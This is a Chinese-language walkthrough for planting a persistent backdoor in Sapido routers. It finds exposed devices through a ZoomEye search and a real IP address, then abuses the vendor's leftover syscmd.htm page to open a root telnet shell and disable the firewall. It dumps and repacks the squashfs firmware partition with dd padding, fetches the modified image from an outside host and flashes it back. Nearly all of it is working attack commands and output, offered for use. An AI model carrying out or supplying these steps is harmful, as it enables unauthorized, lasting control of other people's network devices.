sapido路由器修改squashfs文件系统,添加永久后门
搜索关键字
https://www.zoomeye.org/searchResult?q=app%3A%22Sapido%20Router%22
app:"Sapido Router"
进入路由器开发者留下的后门
http://123.0.102.173/syscmd.htm
打开telnet telnetd -l /bin/sh -p65511
防火墙允许所有连接进入 iptables -P INPUT ACCEPT
使用syscmd.htm页面上传有完整功能的mips架构软件浮点架构 busybox到tmp目录
chmod +x /tmp/tmpfile
mv /tmp/tmpfile /tmp/busybox
上传 /dev/mtdblock1
cat /dev/mtdblock1 >/tmp/dd1
使用有完整功能的busybox httpd -f -p83 在83端口架设Http服务器
下载wget http://123.0.102.173:83/dd1 到本地
分析 /dev/mtdblock1
unsquashfs -s dd1
root@# unsquashfs -s dd1
Found a valid SQUASHFS 4:0 superblock on dd1.
Creation or last append time Sat Mar 6 20:03:12 2038
Filesystem size 2174990 bytes (2124.01 Kbytes / 2.07 Mbytes)
Compression lzma
Block size 131072
Filesystem is exportable via NFS
Inodes are compressed
Data is compressed
Uids/Gids (Id table) are compressed
Fragments are compressed
Always-use-fragments option is specified
Xattrs are compressed
Duplicates are removed
Number of fragments 36
Number of inodes 1002
Number of ids 3
关键信息压缩格式为lzma 块大小为131072
解压dd1 squashfs到 squashfs-root/
unsquashfs dd1
squashfs-root/ 创建目录xxoo
重新打包squashfs发现新打包的镜像比原镜像小,刷入无法启动,我们需要使用源镜像文件尾的 E6 4B FF FF ....填充重新打包的镜像成和源镜像大小一致就可以启动了
mksquashfs squashfs-root/ sq.img -comp lzma -b 131072
ls -l sq.img dd1
-rw-r--r-- 1 root root 2572288 Apr 9 22:05 dd1
-rw-r--r-- 1 root root 2272288 Apr 9 22:41 sq.img
使用winhex分析源镜像和修改后的镜像发现源镜像文件尾使用hex E6 4B FF FF ....填充
使用dd命令提取源镜像文件从E6 4B后的内容填充到修改后的镜像
dd if=dd1 of=offset bs=1 skip=2560000 从源镜像文件dd1的2560000处到结尾提取到offset文件
cat offset >>sq.img
查看sq.img 还是没有dd1文件大,可以往squshfs-root目录放些大文件,重新打包,或者多次cat offset >>sq.img直到文件大小快超过源镜像文件,然后计算好大小,再次使用dd命令,裁剪到刚刚好大小 FF FF 添加到sq.img目录尾
将重新打包好的固件下载回路由器
/tmp/busybox wget http://sss.life:83/sq.img
cat /tmp/sq.img > /dev/mtdblock1
reboot
验证
ls /
bin init proc web
curl-4.8.tar.gz initt sys xxoo
dev lib tmp
etc mnt usr
home offset var
成功看到xxoo目录